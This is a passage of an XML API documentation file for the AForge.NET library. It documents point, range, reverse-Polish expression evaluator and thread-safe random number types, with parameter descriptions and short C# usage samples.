<summary>\n             Multiplication operator - multiplies coordinates of the specified point by scalar value.\n             </summary>\n             \n             <param name=\"point\">Point to multiply coordinates of.</param>\n             <param name=\"factor\">Multiplication factor.</param>\n             \n             <returns>Returns new point which coordinates equal to coordinates of\n             the specified point multiplied by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.Multiply(AForge.IntPoint,System.Int32)\">\n             <summary>\n             Multiplication operator - multiplies coordinates of the specified point by scalar value.\n             </summary>\n             \n             <param name=\"point\">Point to multiply coordinates of.</param>\n             <param name=\"factor\">Multiplication factor.</param>\n             \n             <returns>Returns new point which coordinates equal to coordinates of\n             the specified point multiplied by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.op_Division(AForge.IntPoint,System.Int32)\">\n            <summary>\n            Division operator - divides coordinates of the specified point by scalar value.\n            </summary>\n            \n            <param name=\"point\">Point to divide coordinates of.</param>\n            <param name=\"factor\">Division factor.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point divided by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.Divide(AForge.IntPoint,System.Int32)\">\n            <summary>\n            Division operator - divides coordinates of the specified point by scalar value.\n            </summary>\n            \n            <param name=\"point\">Point to divide coordinates of.</param>\n            <param name=\"factor\">Division factor.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point divided by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.op_Equality(AForge.IntPoint,AForge.IntPoint)\">\n             <summary>\n             Equality operator - checks if two points have equal coordinates.\n             </summary>\n             \n             <param name=\"point1\">First point to check.</param>\n             <param name=\"point2\">Second point to check.</param>\n             \n             <returns>Returns <see langword=\"true\"/> if coordinates of specified\n             points are equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.op_Inequality(AForge.IntPoint,AForge.IntPoint)\">\n             <summary>\n             Inequality operator - checks if two points have different coordinates.\n             </summary>\n             \n             <param name=\"point1\">First point to check.</param>\n             <param name=\"point2\">Second point to check.</param>\n             \n             <returns>Returns <see langword=\"true\"/> if coordinates of specified\n             points are not equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.Equals(System.Object)\">\n            <summary>\n            Check if this instance of <see cref=\"T:AForge.IntPoint\"/> equal to the specified one.\n            </summary>\n            \n            <param name=\"obj\">Another point to check equalty to.</param>\n            \n            <returns>Return <see langword=\"true\"/> if objects are equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.GetHashCode\">\n            <summary>\n            Get hash code for this instance.\n            </summary>\n            \n            <returns>Returns the hash code for this instance.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.op_Implicit(AForge.IntPoint)~AForge.Point\">\n            <summary>\n            Implicit conversion to <see cref=\"T:AForge.Point\"/>.\n            </summary>\n            \n            <param name=\"point\">Integer point to convert to single precision point.</param>\n            \n            <returns>Returns new single precision point which coordinates are implicitly converted\n            to floats from coordinates of the specified integer point.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.op_Implicit(AForge.IntPoint)~AForge.DoublePoint\">\n            <summary>\n            Implicit conversion to <see cref=\"T:AForge.DoublePoint\"/>.\n            </summary>\n            \n            <param name=\"point\">Integer point to convert to double precision point.</param>\n            \n            <returns>Returns new double precision point which coordinates are implicitly converted\n            to doubles from coordinates of the specified integer point.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.ToString\">\n             <summary>\n             Get string representation of the class.\n             </summary>\n             \n             <returns>Returns string, which contains values of the point in readable form.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.EuclideanNorm\">\n            <summary>\n            Calculate Euclidean norm of the vector comprised of the point's \n            coordinates - distance from (0, 0) in other words.\n            </summary>\n            \n            <returns>Returns point's distance from (0, 0) point.</returns>\n            \n        </member>\n        <member name=\"T:AForge.PolishExpression\">\n            <summary>\n            Evaluator of expressions written in reverse polish notation.\n            </summary>\n            \n            <remarks><para>The class evaluates expressions writen in reverse postfix polish notation.</para>\n            \n            <para>The list of supported functuins is:</para>\n            <list type=\"bullet\">\n            <item><b>Arithmetic functions</b>: +, -, *, /;</item>\n            <item><b>sin</b> - sine;</item>\n            <item><b>cos</b> - cosine;</item>\n            <item><b>ln</b> - natural logarithm;</item>\n            <item><b>exp</b> - exponent;</item>\n            <item><b>sqrt</b> - square root.</item>\n            </list>\n            \n            <para>Arguments for these functions could be as usual constants, written as numbers, as variables,\n            writen as $&lt;var_number&gt; (<b>$2</b>, for example). The variable number is zero based index\n            of variables array.</para>\n            \n            <para>Sample usage:</para>\n            <code>\n            // expression written in polish notation\n            string expression = \"2 $0 / 3 $1 * +\";\n            // variables for the expression\n            double[] vars = new double[] { 3, 4 };\n            // expression evaluation\n            double result = PolishExpression.Evaluate( expression, vars );\n            </code>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.PolishExpression.Evaluate(System.String,System.Double[])\">\n             <summary>\n             Evaluates specified expression.\n             </summary>\n            \n             <param name=\"expression\">Expression written in postfix polish notation.</param>\n             <param name=\"variables\">Variables for the expression.</param>\n             \n             <returns>Evaluated value of the expression.</returns>\n             \n             <exception cref=\"T:System.ArgumentException\">Unsupported function is used in the expression.</exception>\n             <exception cref=\"T:System.ArgumentException\">Incorrect postfix polish expression.</exception>\n            \n        </member>\n        <member name=\"T:AForge.DoubleRange\">\n            <summary>\n            Represents a double range with minimum and maximum values.\n            </summary>\n            \n            <remarks>\n            <para>The class represents a double range with inclusive limits -\n            both minimum and maximum values of the range are included into it.\n            Mathematical notation of such range is <b>[min, max]</b>.</para>\n            \n            <para>Sample usage:</para>\n            <code>\n            // create [0.25, 1.5] range\n            DoubleRange range1 = new DoubleRange( 0.25, 1.5 );\n            // create [1.00, 2.25] range\n            DoubleRange range2 = new DoubleRange( 1.00, 2.25 );\n            // check if values is inside of the first range\n            if ( range1.IsInside( 0.75 ) )\n            {\n                // ...\n            }\n            // check if the second range is inside of the first range\n            if ( range1.IsInside( range2 ) )\n            {\n                // ...\n            }\n            // check if two ranges overlap\n            if ( range1.IsOverlapping( range2 ) )\n            {\n                // ...\n            }\n            </code>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.DoubleRange.#ctor(System.Double,System.Double)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.DoubleRange\"/> class.\n            </summary>\n            \n            <param name=\"min\">Minimum value of the range.</param>\n            <param name=\"max\">Maximum value of the range.</param>\n            \n        </member>\n        <member name=\"M:AForge.DoubleRange.IsInside(System.Double)\">\n            <summary>\n            Check if the specified value is inside of the range.\n            </summary>\n            \n            <param name=\"x\">Value to check.</param>\n            \n            <returns><b>True</b> if the specified value is inside of the range or\n            <b>false</b> otherwise.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoubleRange.IsInside(AForge.DoubleRange)\">\n            <summary>\n            Check if the specified range is inside of the range.\n            </summary>\n            \n            <param name=\"range\">Range to check.</param>\n            \n            <returns><b>True</b> if the specified range is inside of the range or\n            <b>false</b> otherwise.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoubleRange.IsOverlapping(AForge.DoubleRange)\">\n            <summary>\n            Check if the specified range overlaps with the range.\n            </summary>\n            \n            <param name=\"range\">Range to check for overlapping.</param>\n            \n            <returns><b>True</b> if the specified range overlaps with the range or\n            <b>false</b> otherwise.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoubleRange.ToIntRange(System.Boolean)\">\n             <summary>\n             Convert the signle precision range to integer range.\n             </summary>\n             \n             <param name=\"provideInnerRange\">Specifies if inner integer range must be returned or outer range.</param>\n             \n             <returns>Returns integer version of the range.</returns>\n             \n             <remarks>If <paramref name=\"provideInnerRange\"/> is set to <see langword=\"true\"/>, then the\n             returned integer range will always fit inside of the current single precision range.\n             If it is set to <see langword=\"false\"/>, then current single precision range will always\n             fit into the returned integer range.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.DoubleRange.op_Equality(AForge.DoubleRange,AForge.DoubleRange)\">\n             <summary>\n             Equality operator - checks if two ranges have equal min/max values.\n             </summary>\n             \n             <param name=\"range1\">First range to check.</param>\n             <param name=\"range2\">Second range to check.</param>\n             \n             <returns>Returns <see langword=\"true\"/> if min/max values of specified\n             ranges are equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoubleRange.op_Inequality(AForge.DoubleRange,AForge.DoubleRange)\">\n             <summary>\n             Inequality operator - checks if two ranges have different min/max values.\n             </summary>\n             \n             <param name=\"range1\">First range to check.</param>\n             <param name=\"range2\">Second range to check.</param>\n             \n             <returns>Returns <see langword=\"true\"/> if min/max values of specified\n             ranges are not equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoubleRange.Equals(System.Object)\">\n            <summary>\n            Check if this instance of <see cref=\"T:AForge.Range\"/> equal to the specified one.\n            </summary>\n            \n            <param name=\"obj\">Another range to check equalty to.</param>\n            \n            <returns>Return <see langword=\"true\"/> if objects are equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoubleRange.GetHashCode\">\n            <summary>\n            Get hash code for this instance.\n            </summary>\n            \n            <returns>Returns the hash code for this instance.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoubleRange.ToString\">\n             <summary>\n             Get string representation of the class.\n             </summary>\n             \n             <returns>Returns string, which contains min/max values of the range in readable form.</returns>\n            \n        </member>\n        <member name=\"P:AForge.DoubleRange.Min\">\n            <summary>\n            Minimum value of the range.\n            </summary>\n            \n            <remarks><para>The property represents minimum value (left side limit) or the range -\n            [<b>min</b>, max].</para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.DoubleRange.Max\">\n            <summary>\n            Maximum value of the range.\n            </summary>\n            \n            <remarks><para>The property represents maximum value (right side limit) or the range -\n            [min, <b>max</b>].</para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.DoubleRange.Length\">\n            <summary>\n            Length of the range (deffirence between maximum and minimum values).\n            </summary>\n        </member>\n        <member name=\"T:AForge.MessageTransferHandler\">\n             <summary>\n             A delegate which is used by events notifying abount sent/received message.\n             </summary>\n             \n             <param name=\"sender\">Event sender.</param>\n             <param name=\"eventArgs\">Event arguments containing details about the transferred message.</param>\n            \n        </member>\n        <member name=\"T:AForge.Point\">\n            <summary>\n            Structure for representing a pair of coordinates of float type.\n            </summary>\n            \n            <remarks><para>The structure is used to store a pair of floating point\n            coordinates with single precision.</para>\n            \n            <para>Sample usage:</para>\n            <code>\n            // assigning coordinates in the constructor\n            Point p1 = new Point( 10, 20 );\n            // creating a point and assigning coordinates later\n            Point p2;\n            p2.X = 30;\n            p2.Y = 40;\n            // calculating distance between two points\n            float distance = p1.DistanceTo( p2 );\n            </code>\n            </remarks>\n            \n        </member>\n        <member name=\"F:AForge.Point.X\">\n            <summary> \n            X coordinate.\n            </summary> \n            \n        </member>\n        <member name=\"F:AForge.Point.Y\">\n            <summary> \n            Y coordinate.\n            </summary> \n            \n        </member>\n        <member name=\"M:AForge.Point.#ctor(System.Single,System.Single)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Point\"/> structure.\n            </summary>\n            \n            <param name=\"x\">X axis coordinate.</param>\n            <param name=\"y\">Y axis coordinate.</param>\n            \n        </member>\n        <member name=\"M:AForge.Point.DistanceTo(AForge.Point)\">\n            <summary>\n            Calculate Euclidean distance between two points.\n            </summary>\n            \n            <param name=\"anotherPoint\">Point to calculate distance to.</param>\n            \n            <returns>Returns Euclidean distance between this point and\n            <paramref name=\"anotherPoint\"/> points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.SquaredDistanceTo(AForge.Point)\">\n            <summary>\n            Calculate squared Euclidean distance between two points.\n            </summary>\n            \n            <param name=\"anotherPoint\">Point to calculate distance to.</param>\n            \n            <returns>Returns squared Euclidean distance between this point and\n            <paramref name=\"anotherPoint\"/> points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.op_Addition(AForge.Point,AForge.Point)\">\n            <summary>\n            Addition operator - adds values of two points.\n            </summary>\n            \n            <param name=\"point1\">First point for addition.</param>\n            <param name=\"point2\">Second point for addition.</param>\n            \n            <returns>Returns new point which coordinates equal to sum of corresponding\n            coordinates of specified points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.Add(AForge.Point,AForge.Point)\">\n            <summary>\n            Addition operator - adds values of two points.\n            </summary>\n            \n            <param name=\"point1\">First point for addition.</param>\n            <param name=\"point2\">Second point for addition.</param>\n            \n            <returns>Returns new point which coordinates equal to sum of corresponding\n            coordinates of specified points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.op_Subtraction(AForge.Point,AForge.Point)\">\n             <summary>\n             Subtraction operator - subtracts values of two points.\n             </summary>\n             \n             <param name=\"point1\">Point to subtract from.</param>\n             <param name=\"point2\">Point to subtract.</param>\n             \n             <returns>Returns new point which coordinates equal to difference of corresponding\n             coordinates of specified points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.Subtract(AForge.Point,AForge.Point)\">\n             <summary>\n             Subtraction operator - subtracts values of two points.\n             </summary>\n             \n             <param name=\"point1\">Point to subtract from.</param>\n             <param name=\"point2\">Point to subtract.</param>\n             \n             <returns>Returns new point which coordinates equal to difference of corresponding\n             coordinates of specified points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.op_Addition(AForge.Point,System.Single)\">\n            <summary>\n            Addition operator - adds scalar to the specified point.\n            </summary>\n            \n            <param name=\"point\">Point to increase coordinates of.</param>\n            <param name=\"valueToAdd\">Value to add to coordinates of the specified point.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point increased by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.Add(AForge.Point,System.Single)\">\n            <summary>\n            Addition operator - adds scalar to the specified point.\n            </summary>\n            \n            <param name=\"point\">Point to increase coordinates of.</param>\n            <param name=\"valueToAdd\">Value to add to coordinates of the specified point.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point increased by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.op_Subtraction(AForge.Point,System.Single)\">\n            <summary>\n            Subtraction operator - subtracts scalar from the specified point.\n            </summary>\n            \n            <param name=\"point\">Point to decrease coordinates of.</param>\n            <param name=\"valueToSubtract\">Value to subtract from coordinates of the specified point.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point decreased by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.Subtract(AForge.Point,System.Single)\">\n            <summary>\n            Subtraction operator - subtracts scalar from the specified point.\n            </summary>\n            \n            <param name=\"point\">Point to decrease coordinates of.</param>\n            <param name=\"valueToSubtract\">Value to subtract from coordinates of the specified point.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point decreased by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.op_Multiply(AForge.Point,System.Single)\">\n             <summary>\n             Multiplication operator - multiplies coordinates of the specified point by scalar value.\n             </summary>\n             \n             <param name=\"point\">Point to multiply coordinates of.</param>\n             <param name=\"factor\">Multiplication factor.</param>\n             \n             <returns>Returns new point which coordinates equal to coordinates of\n             the specified point multiplied by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.Multiply(AForge.Point,System.Single)\">\n             <summary>\n             Multiplication operator - multiplies coordinates of the specified point by scalar value.\n             </summary>\n             \n             <param name=\"point\">Point to multiply coordinates of.</param>\n             <param name=\"factor\">Multiplication factor.</param>\n             \n             <returns>Returns new point which coordinates equal to coordinates of\n             the specified point multiplied by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.op_Division(AForge.Point,System.Single)\">\n            <summary>\n            Division operator - divides coordinates of the specified point by scalar value.\n            </summary>\n            \n            <param name=\"point\">Point to divide coordinates of.</param>\n            <param name=\"factor\">Division factor.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point divided by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.Divide(AForge.Point,System.Single)\">\n            <summary>\n            Division operator - divides coordinates of the specified point by scalar value.\n            </summary>\n            \n            <param name=\"point\">Point to divide coordinates of.</param>\n            <param name=\"factor\">Division factor.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point divided by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.op_Equality(AForge.Point,AForge.Point)\">\n             <summary>\n             Equality operator - checks if two points have equal coordinates.\n             </summary>\n             \n             <param name=\"point1\">First point to check.</param>\n             <param name=\"point2\">Second point to check.</param>\n             \n             <returns>Returns <see langword=\"true\"/> if coordinates of specified\n             points are equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.op_Inequality(AForge.Point,AForge.Point)\">\n             <summary>\n             Inequality operator - checks if two points have different coordinates.\n             </summary>\n             \n             <param name=\"point1\">First point to check.</param>\n             <param name=\"point2\">Second point to check.</param>\n             \n             <returns>Returns <see langword=\"true\"/> if coordinates of specified\n             points are not equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.Equals(System.Object)\">\n            <summary>\n            Check if this instance of <see cref=\"T:AForge.Point\"/> equal to the specified one.\n            </summary>\n            \n            <param name=\"obj\">Another point to check equalty to.</param>\n            \n            <returns>Return <see langword=\"true\"/> if objects are equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.GetHashCode\">\n            <summary>\n            Get hash code for this instance.\n            </summary>\n            \n            <returns>Returns the hash code for this instance.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.op_Explicit(AForge.Point)~AForge.IntPoint\">\n            <summary>\n            Explicit conversion to <see cref=\"T:AForge.IntPoint\"/>.\n            </summary>\n            \n            <param name=\"point\">Single precision point to convert to integer point.</param>\n            \n            <returns>Returns new integer point which coordinates are explicitly converted\n            to integers from coordinates of the specified single precision point by\n            casting float values to integers value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.op_Implicit(AForge.Point)~AForge.DoublePoint\">\n            <summary>\n            Implicit conversion to <see cref=\"T:AForge.DoublePoint\"/>.\n            </summary>\n            \n            <param name=\"point\">Single precision point to convert to double precision point.</param>\n            \n            <returns>Returns new double precision point which coordinates are implicitly converted\n            to doubles from coordinates of the specified single precision point.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.Round\">\n            <summary>\n            Rounds the single precision point.\n            </summary>\n            \n            <returns>Returns new integer point, which coordinates equal to whole numbers\n            nearest to the corresponding coordinates of the single precision point.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.ToString\">\n             <summary>\n             Get string representation of the class.\n             </summary>\n             \n             <returns>Returns string, which contains values of the point in readable form.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Point.EuclideanNorm\">\n            <summary>\n            Calculate Euclidean norm of the vector comprised of the point's \n            coordinates - distance from (0, 0) in other words.\n            </summary>\n            \n            <returns>Returns point's distance from (0, 0) point.</returns>\n            \n        </member>\n        <member name=\"T:AForge.IntRange\">\n             <summary>\n             Represents an integer range with minimum and maximum values.\n             </summary>\n             \n             <remarks>\n             <para>The class represents an integer range with inclusive limits -\n             both minimum and maximum values of the range are included into it.\n             Mathematical notation of such range is <b>[min, max]</b>.</para>\n             \n             <para>Sample usage:</para>\n             <code>\n             // create [1, 10] range\n             IntRange range1 = new IntRange( 1, 10 );\n             // create [5, 15] range\n             IntRange range2 = new IntRange( 5, 15 );\n             // check if values is inside of the first range\n             if ( range1.IsInside( 7 ) )\n             {\n                 // ...\n             }\n             // check if the second range is inside of the first range\n             if ( range1.IsInside( range2 ) )\n             {\n                 // ...\n             }\n             // check if two ranges overlap\n             if ( range1.IsOverlapping( range2 ) )\n             {\n                 // ...\n             }\n             </code>\n             </remarks>\n            \n        </member>\n        <member name=\"M:AForge.IntRange.#ctor(System.Int32,System.Int32)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.IntRange\"/> structure.\n            </summary>\n            \n            <param name=\"min\">Minimum value of the range.</param>\n            <param name=\"max\">Maximum value of the range.</param>\n            \n        </member>\n        <member name=\"M:AForge.IntRange.IsInside(System.Int32)\">\n            <summary>\n            Check if the specified value is inside of the range.\n            </summary>\n            \n            <param name=\"x\">Value to check.</param>\n            \n            <returns><b>True</b> if the specified value is inside of the range or\n            <b>false</b> otherwise.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntRange.IsInside(AForge.IntRange)\">\n            <summary>\n            Check if the specified range is inside of the range.\n            </summary>\n            \n            <param name=\"range\">Range to check.</param>\n            \n            <returns><b>True</b> if the specified range is inside of the range or\n            <b>false</b> otherwise.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntRange.IsOverlapping(AForge.IntRange)\">\n            <summary>\n            Check if the specified range overlaps with the range.\n            </summary>\n            \n            <param name=\"range\">Range to check for overlapping.</param>\n            \n            <returns><b>True</b> if the specified range overlaps with the range or\n            <b>false</b> otherwise.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntRange.op_Implicit(AForge.IntRange)~AForge.Range\">\n            <summary>\n            Implicit conversion to <see cref=\"T:AForge.Range\"/>.\n            </summary>\n            \n            <param name=\"range\">Integer range to convert to single precision range.</param>\n            \n            <returns>Returns new single precision range which min/max values are implicitly converted\n            to floats from min/max values of the specified integer range.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntRange.op_Equality(AForge.IntRange,AForge.IntRange)\">\n             <summary>\n             Equality operator - checks if two ranges have equal min/max values.\n             </summary>\n             \n             <param name=\"range1\">First range to check.</param>\n             <param name=\"range2\">Second range to check.</param>\n             \n             <returns>Returns <see langword=\"true\"/> if min/max values of specified\n             ranges are equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntRange.op_Inequality(AForge.IntRange,AForge.IntRange)\">\n             <summary>\n             Inequality operator - checks if two ranges have different min/max values.\n             </summary>\n             \n             <param name=\"range1\">First range to check.</param>\n             <param name=\"range2\">Second range to check.</param>\n             \n             <returns>Returns <see langword=\"true\"/> if min/max values of specified\n             ranges are not equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntRange.Equals(System.Object)\">\n            <summary>\n            Check if this instance of <see cref=\"T:AForge.Range\"/> equal to the specified one.\n            </summary>\n            \n            <param name=\"obj\">Another range to check equalty to.</param>\n            \n            <returns>Return <see langword=\"true\"/> if objects are equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntRange.GetHashCode\">\n            <summary>\n            Get hash code for this instance.\n            </summary>\n            \n            <returns>Returns the hash code for this instance.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntRange.ToString\">\n             <summary>\n             Get string representation of the class.\n             </summary>\n             \n             <returns>Returns string, which contains min/max values of the range in readable form.</returns>\n            \n        </member>\n        <member name=\"P:AForge.IntRange.Min\">\n            <summary>\n            Minimum value of the range.\n            </summary>\n            \n            <remarks><para>The property represents minimum value (left side limit) or the range -\n            [<b>min</b>, max].</para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.IntRange.Max\">\n            <summary>\n            Maximum value of the range.\n            </summary>\n            \n            <remarks><para>The property represents maximum value (right side limit) or the range -\n            [min, <b>max</b>].</para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.IntRange.Length\">\n            <summary>\n            Length of the range (deffirence between maximum and minimum values).\n            </summary>\n        </member>\n        <member name=\"T:AForge.ThreadSafeRandom\">\n            <summary>\n            Thread safe version of the <see cref=\"T:System.Random\"/> class.\n            </summary>\n            \n            <remarks><para>The class inherits the <see cref=\"T:System.Random\"/> and overrides\n            its random numbers generation methods providing thread safety by guarding call\n            to the base class with a lock. See documentation to <see cref=\"T:System.Random\"/> for\n            additional information about the base class.</para></remarks>\n            \n        </member>\n        <member name=\"M:AForge.ThreadSafeRandom.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.ThreadSafeRandom\"/> class.\n            </summary>\n            \n            <remarks>See <see cref=\"M:System.Random.Next\"/> for more information.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.ThreadSafeRandom.#ctor(System.Int32)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.ThreadSafeRandom\"/> class.\n            </summary>\n            \n            <remarks>A number used to calculate a starting value for the pseudo-random number sequence.\n            If a negative number is specified, the absolute value of the number is used.</remarks>\n            \n            \n            <remarks>See <see cref=\"M:System.Random.Next\"/> for more information.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.ThreadSafeRandom.Next\">\n            <summary>\n            Returns a nonnegative random number.\n            </summary>\n            \n            <returns>Returns a 32-bit signed integer greater than or equal to zero and less than\n            <see cref=\"F:System.Int32.MaxValue\"/>.</returns>\n            \n            <remarks>See <see cref=\"M:System.Random.Next\"/> for more information.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.ThreadSafeRandom.Next(System.Int32)\">\n            <summary>\n            Returns a nonnegative random number less than the specified maximum.\n            </summary>\n            \n            <param name=\"maxValue\">The exclusive upper bound of the random number to be generated.\n            <paramref name=\"maxValue\"/> must be greater than or equal to zero.</param>\n            \n            <returns>Returns a 32-bit signed integer greater than or equal to zero, and less than <paramref name=\"maxValue\"/>;\n            that is, the range of return values ordinarily includes zero but not <paramref name=\"maxValue\"/>.</returns>\n            \n            <remarks>See <see cref=\"M:System.Random.Next(System.Int32)\"/> for more information.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.ThreadSafeRandom.Next(System.Int32,System.Int32)\">\n             <summary>\n             Returns a random number within a specified range.\n             </summary>\n             \n             <param name=\"minValue\">The inclusive lower bound of the random number returned.</param>\n             <param name=\"maxValue\">The exclusive upper bound of the random number returned.\n             <paramref name=\"maxValue\"/> must be greater than or equal to <paramref name=\"minValue\"/>.</param>\n             \n             <returns>Returns a 32-bit signed integer greater than or equal to <paramref name=\"minValue\"/> and less\n             than <paramref name=\"maxValue\"/>; that is, the range of return values includes\n             <paramref name=\"minValue\"/> but not <paramref name=\"maxValue\"/>.</returns>\n             \n             <remarks>See <see cref=\"M:System.Random.Next(System.Int32,System.Int32)\"/> for more information.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.ThreadSafeRandom.NextBytes(System.Byte[])\">\n             <summary>\n             Fills the elements of a specified array of bytes with random numbers.\n             </summary>\n             \n             <param name=\"buffer\">An array of bytes to contain random numbers.</param>\n             \n             <remarks>See <see cref=\"M:System.Random.NextBytes(System.Byte[])\"/> for more information.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.ThreadSafeRandom.NextDouble\">\n             <summary>\n             Returns a random number between 0.0 and 1.0.\n             </summary>\n             \n             <returns>Returns a double-precision floating point number greater than or equal to 0.0, and less than 1.0.</returns>\n             \n             <remarks>See <see cref=\"M:System.Random.NextDouble\"/> for more information.</remarks>\n            \n        </member>\n        <member name=\"T:AForge.Range\">\n             <summary>\n             Represents a range with minimum and maximum values, which are single precision numbers (floats).\n             </summary>\n             \n             <remarks>\n             <para>The class represents a single precision range with inclusive limits -\n             both minimum and maximum values of the range are included into it.\n             Mathematical notation of such range is <b>[min, max]</b>.</para>\n             \n             <para>Sample usage:</para>\n             <code>\n             // create [0.25, 1.5] range\n             Range range1 = new Range( 0.25f, 1.5f );\n             // create [1.00, 2.25] range\n             Range range2 = new Range( 1.00f, 2.25f );\n             // check if values is inside of the first range\n             if ( range1.IsInside( 0.75f ) )\n             {\n                 // ...\n             }\n             // check if the second range is inside of the first range\n             if ( range1.IsInside( range2 ) )\n             {\n                 // ...\n             }\n             // check if two ranges overlap\n             if ( range1.IsOverlapping( range2 ) )\n             {\n                 // ...\n             }\n             </code>\n             </remarks>\n            \n        </member>\n        <member name=\"M:AForge.Range.#ctor(System.Single,System.Single)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Range\"/> structure.\n            </summary>\n            \n            <param name=\"min\">Minimum value of the range.</param>\n            <param name=\"max\">Maximum value of the range.</param>\n            \n        </member>\n        <member name=\"M:AForge.Range.IsInside(System.Single)\">\n            <summary>\n            Check if the specified value is inside of the range.\n            </summary>\n            \n            <param name=\"x\">Value to check.</param>\n            \n            <returns><b>True</b> if the specified value is inside of the range or\n            <b>false</b> otherwise.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Range.IsInside(AForge.Range)\">\n            <summary>\n            Check if the specified range is inside of the range.\n            </summary>\n            \n            <param name=\"range\">Range to check.</param>\n            \n            <returns><b>True</b> if the specified range is inside of the range or\n            <b>false</b> otherwise.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Range.IsOverlapping(AForge.Range)\">\n            <summary>\n            Check if the specified range overlaps with the range.\n            </summary>\n            \n            <param name=\"range\">Range to check for overlapping.</param>\n            \n            <returns><b>True</b> if the specified range overlaps with the range or\n            <b>false</b> otherwise.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Range.ToIntRange(System.Boolean)\">\n             <summary>\n             Convert the signle precision range to integer range.\n             </summary>\n             \n             <param name=\"provideInnerRange\">Specifies if inner integer range must be returned or outer range.</param>\n             \n             <returns>Returns integer version of the range.</returns>\n             \n             <remarks>If <paramref name=\"provideInnerRange\"/> is set to <see langword=\"true\"/>, then the\n             returned integer range will always fit inside of the current single precision range.\n             If it is set to <see langword=\"false\"/>, then current single precision range will always\n             fit into the returned integer range.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Range.op_Equality(AForge.Range,AForge.Range)\">\n             <summary>\n             Equality operator - checks if two ranges have equal min/max values.\n             </summary>\n             \n             <param name=\"range1\">First range to check.</param>\n             <param name=\"range2\">Second range to check.</param>\n             \n             <returns>Returns <see langword=\"true\"/> if min/max values of specified\n             ranges are equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Range.op_Inequality(AForge.Range,AForge.Range)\">\n             <summary>\n             Inequality operator - checks if two ranges have different min/max values.\n             </summary>\n             \n             <param name=\"range1\">First range to 